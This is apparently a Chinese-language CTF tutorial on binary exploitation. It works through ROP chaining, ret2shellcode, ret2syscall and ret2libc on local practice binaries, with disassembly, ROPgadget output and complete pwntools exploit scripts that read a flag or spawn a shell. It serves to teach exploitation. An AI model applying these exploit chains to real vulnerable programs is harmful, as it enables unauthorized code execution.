1. ROP介绍
栈溢出大家都打过吧, 栈溢出通过Ret返回到黑客输入的shellcode处执行。但是不是所有有栈溢出漏洞的程序都有写shellcode的权限。有的程序有但是Date段和Text段也不会有执行权限,这个时候就需要通过程序内中的已有的汇编指令来进行拼接实现Shellcode功能。
roptest
1.1 题目分析
int main(){
char name[16];
read(0,name,128);
}
int foo(){
return open("/flag", 0);
}
int bar(){
int x = open("/notflag", 0);
sendfile(1,x,0,1024);
}
read
是一个溢出点,但是但是没有能直接读取/flag。 sendfile()可以但是读的变量 是x这个时候就需要通过 操控栈来让程序执行open("/flag", 0)
之后可以通过sendfile()
函数来读取/flag
像搭积木一样把函数再内存中进行拼装。
编译它
gcc -fno-stack-protector -no-pie -o roptest roptest.c
关闭了程序地址随机化(PIE) 关闭了金丝雀 这不是这期的重点,重点是学习ROP,不是绕过防御机制。
攻击链路
通过栈溢出 —> 执行open(/flag) ret到 —> sendfile() 函数 —> 得到flag 文件
这是objdump 反编译的重要函数 读注释的代码
0000000000401176 <main>:
401176: f3 0f 1e fa endbr64
40117a: 55 push rbp //8个字节
40117b: 48 89 e5 mov rbp,rsp
40117e: 48 83 ec 10 sub rsp,0x10
401182: 48 8d 45 f0 lea rax,[rbp-0x10] //Name变量 16 个字节
401186: ba 80 00 00 00 mov edx,0x80
40118b: 48 89 c6 mov rsi,rax
40118e: bf 00 00 00 00 mov edi,0x0
401193: b8 00 00 00 00 mov eax,0x0
401198: e8 c3 fe ff ff call 401060 <read@plt> // 溢出点 8+16溢出点
40119d: b8 00 00 00 00 mov eax,0x0
4011a2: c9 leave
4011a3: c3 ret //跳到OPen(/flag ) 0x4011ac
00000000004011a4 <foo>:
4011a4: f3 0f 1e fa endbr64
4011a8: 55 push rbp
4011a9: 48 89 e5 mov rbp,rsp
4011ac: be 00 00 00 00 mov esi,0x0 //open的0参数
4011b1: 48 8d 3d 4c 0e 00 00 lea rdi,[rip+0xe4c] //这是/flag字符串 # 402004 <_IO_stdin_used+0x4>
4011b8: b8 00 00 00 00 mov eax,0x0 //预设返回值
4011bd: e8 be fe ff ff call 401080 <open@plt>
4011c2: 5d pop rbp //做填充
4011c3: c3 ret // 跳转到0x4011ec sendfile函数来读取Flag
00000000004011c4 <bar>:
4011c4: f3 0f 1e fa endbr64
4011c8: 55 push rbp
4011c9: 48 89 e5 mov rbp,rsp
4011cc: 48 83 ec 10 sub rsp,0x10
4011d0: be 00 00 00 00 mov esi,0x0
4011d5: 48 8d 3d 2e 0e 00 00 lea rdi,[rip+0xe2e] # 40200a <_IO_stdin_used+0xa>
4011dc: b8 00 00 00 00 mov eax,0x0
4011e1: e8 9a fe ff ff call 401080 <open@plt>
4011e6: 89 45 fc mov DWORD PTR [rbp-0x4],eax
4011e9: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
4011ec: b9 00 04 00 00 mov ecx,0x400 //0x400 = 1024
4011f1: ba 00 00 00 00 mov edx,0x0
4011f6: 89 c6 mov esi,eax
4011f8: bf 01 00 00 00 mov edi,0x1
4011fd: b8 00 00 00 00 mov eax,0x0
401202: e8 69 fe ff ff call 401070 <sendfile@plt> //执行到这个函数成功的读取Flag文件
401207: 90 nop
401208: c9 leave
401209: c3 ret
40120a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
2 EXP
from pwn import *
r = process("./RopTest")
r.send(#填充 name
b"a"*16+
#填充 rbp
b"b" * 8+
#填充 rip
p64(0x4011ac)+
#填充 pop rbp
b'c'*8+
# 填充 foo ret
p64(0x4011ec)
)
#print(r.readall())
r.interactive()
ret2shellcode
1. 源码分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4); //栈溢出点
strncpy(buf2, (const char *)&v4, 0x64u); //shellcode 复制到Buf2
printf("bye bye ~");
return 0;
}
这道题是溢出写shellcode int v4是局部变量不会有固定的地址
strncpy 函数 0x804a080 的地址是buf2 变量的这样V4被复制到Buf2中shellcode就有了一个固定的地址
8048598: c7 44 24 08 64 00 00 mov DWORD PTR [esp+0x8],0x64
804859f: 00
80485a0: 8d 44 24 1c lea eax,[esp+0x1c]
80485a4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80485a8: c7 04 24 80 a0 04 08 mov DWORD PTR [esp],0x804a080
80485af: e8 6c fe ff ff call 8048420 <strncpy@plt>
2. 构建Exp
v4 大小是100
07:001c│ eax 0xffffd0dc ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 24 skipped
20:0080│ edx 0xffffd140 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
21:0084│-004 0xffffd144 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
22:0088│ ebp 0xffffd148 ◂— 0x0
可以看到下面两位被got表占了不知道为什么 再填充 8byte 覆盖ebp 再加 4byte
100 + 8 + 4 = 112 byte
from pwn import *
r = process('./ret2shellcode')
raw_input()
sddaddr = 0x804a080
shell = asm(shellcraft.sh())
print(len(shell))
print(shell.ljust(0x70,b'A')+p32(sddaddr))
r.recvuntil('!!!')
r.sendline(shell.ljust(0x70,b'A')+p32(sddaddr))
r.interactive()
因为不知道shellcode的长度所以使用 ljust函数来填充如果shellcode长度不够就用A来填充
ret2syscall
源码分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
这道题通过程序内已有的汇编代码从获取shell 需要截取gadget片段 控制程序流从而获得shell
gadge片段是指 操作寄存距离ret 操作数近的汇编指令 如 pop eax ; ret
execve("/bin/sh", NULL,NULL)
- execve的系统调用号 eax 0xb
- 第一个参数 ebx 执行"/bin/sh"
- 第二个参数指向 ecx 为 0
- 第三个参数执行 edx 为 0
然后通过gadge 片段去操控寄存器 流程这样的
把栈上的数据pop 到寄存修改完几个寄存器 跳到int 0x80 执行execve就会成功调用shell
通过ROPgadge 工具寻找可用gadge片段
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop --only "pop|ret" | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop --only "pop|ret" | grep 'edx'
0x0806eb69 : pop ebx ; pop edx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$ ROPgadget --binary ./rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
Unique gadgets found: 1
guozhi@guozhi-virtual-machine:~/桌面/ctfpwn$
构造exp
from pwn import *
r = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
sh = 0x080be408
int_0x80 = 0x08049421
p = flat(
['a'*112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0,0,sh,int_0x80]
)
r.sendline(p)
r.interactive()
ret2libc2
1.源码分析
存在system函数但是不存在/bin/sh字符串所以需要自己往里写, 往程序里写东西可用通过再次触发gets函数往指定的地址写东西,然后触发system函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp-68h] [ebp-68h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&v4);
return 0;
}
2.构建Exp
from pwn import *
r = process('./ret2libc2')
system_plt = 0x8048490
gets_plt = 0x8048460
pop_ebx_ret = 0x0804843d
buf = 0x804AF00 #看程序权限vmmap哪可以往里写就写哪
sh = b'/bin/sh'
p = flat(
['a'*112, # 溢出填充
gets_plt, # 接收sh
pop_ebx_ret,
buf, # 接收的参数弹到ebx寄存中
system_plt, #调用systemcall
'c'*4, #垃圾数据填充systemcall第一个参数
buf#作为地址提交
]
)
r.sendline(p)
r.sendline(sh)
r.interactive()
...